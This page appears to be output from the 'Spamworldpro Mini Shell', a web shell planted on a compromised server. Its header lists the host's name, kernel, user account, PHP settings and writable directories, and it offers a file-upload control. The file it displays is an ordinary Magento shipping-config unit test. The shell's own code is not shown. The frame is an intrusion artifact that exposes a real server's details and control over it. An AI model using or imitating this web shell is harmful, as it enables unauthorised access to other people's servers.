Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-shipping/Test/Unit/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-shipping/Test/Unit/Model/ConfigTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Shipping\Test\Unit\Model;

use Magento\Framework\App\Config\ScopeConfigInterface;
use Magento\Shipping\Model\CarrierFactory;
use Magento\Store\Model\ScopeInterface;
use PHPUnit\Framework\MockObject\MockObject;
use PHPUnit\Framework\TestCase;
use Magento\Shipping\Model\Config;

/**
 * Test for \Magento\Shipping\Model\Config.
 */
class ConfigTest extends TestCase
{
    private const STUB_STORE_CODE = 'default';

    /**
     * @var array
     */
    private $shippingCarriersData = [
        'flatrate' => [
            'active' => '1',
            'name' => 'Fixed',
            'title' => 'Flat Rate',
        ],
        'tablerate' => [
            'active' => '0',
            'name' => 'Table Rate',
            'title' => 'Best Way',
        ]
    ];

    /**
     * @var Config
     */
    private $model;

    /**
     * @var ScopeConfigInterface|MockObject
     */
    private $scopeConfigMock;

    /**
     * @var CarrierFactory|MockObject
     */
    private $carrierFactoryMock;

    /**
     * @inheritdoc
     */
    protected function setUp(): void
    {
        $this->scopeConfigMock = $this->createMock(ScopeConfigInterface::class);
        $this->carrierFactoryMock = $this->createMock(CarrierFactory::class);

        $this->model = new Config($this->scopeConfigMock, $this->carrierFactoryMock, []);
    }

    /**
     * Get active carriers when there is no active on the store
     *
     * @return void
     */
    public function testGetActiveCarriersWhenThereIsNoAvailable(): void
    {
        $this->scopeConfigMock->expects($this->once())
            ->method('getValue')
            ->with('carriers', ScopeInterface::SCOPE_STORE, null)
            ->willReturn(null);

        $this->assertEquals([], $this->model->getActiveCarriers());
    }

    /**
     * Test for getActiveCarriers
     *
     * @return void
     */
    public function testGetActiveCarriers(): void
    {
        $this->scopeConfigMock->expects($this->once())
            ->method('getValue')
            ->with('carriers', ScopeInterface::SCOPE_STORE, self::STUB_STORE_CODE)
            ->willReturn($this->shippingCarriersData);

        $this->scopeConfigMock->expects($this->exactly(2))
            ->method('isSetFlag')
            ->withConsecutive(
                ['carriers/flatrate/active', ScopeInterface::SCOPE_STORE, self::STUB_STORE_CODE],
                ['carriers/tablerate/active', ScopeInterface::SCOPE_STORE, self::STUB_STORE_CODE],
            )
            ->willReturnOnConsecutiveCalls(
                true,
                false,
            );

        $this->carrierFactoryMock->expects($this->once())
            ->method('create')
            ->with('flatrate', self::STUB_STORE_CODE)
            ->willReturn(true);

        $this->assertEquals(['flatrate' => true], $this->model->getActiveCarriers(self::STUB_STORE_CODE));
    }

    /**
     * Get all carriers when there is no carriers available on the store
     *
     * @return void
     */
    public function testGetAllCarriersWhenThereIsNoAvailable(): void
    {
        $this->scopeConfigMock->expects($this->once())
            ->method('getValue')
            ->with('carriers', ScopeInterface::SCOPE_STORE, null)
            ->willReturn(null);

        $this->assertEquals([], $this->model->getAllCarriers());
    }

    /**
     * Test for getAllCarriers
     *
     * @return void
     */
    public function testGetAllCarriers(): void
    {
        $this->scopeConfigMock->expects($this->once())
            ->method('getValue')
            ->with('carriers', ScopeInterface::SCOPE_STORE, self::STUB_STORE_CODE)
            ->willReturn($this->shippingCarriersData);

        $this->carrierFactoryMock->expects($this->exactly(2))
            ->method('create')
            ->withConsecutive(
                ['flatrate', self::STUB_STORE_CODE],
                ['tablerate', self::STUB_STORE_CODE],
            )
            ->willReturnOnConsecutiveCalls(
                true,
                false,
            );

        $this->assertEquals(['flatrate' => true], $this->model->getAllCarriers(self::STUB_STORE_CODE));
    }
}

Spamworldpro Mini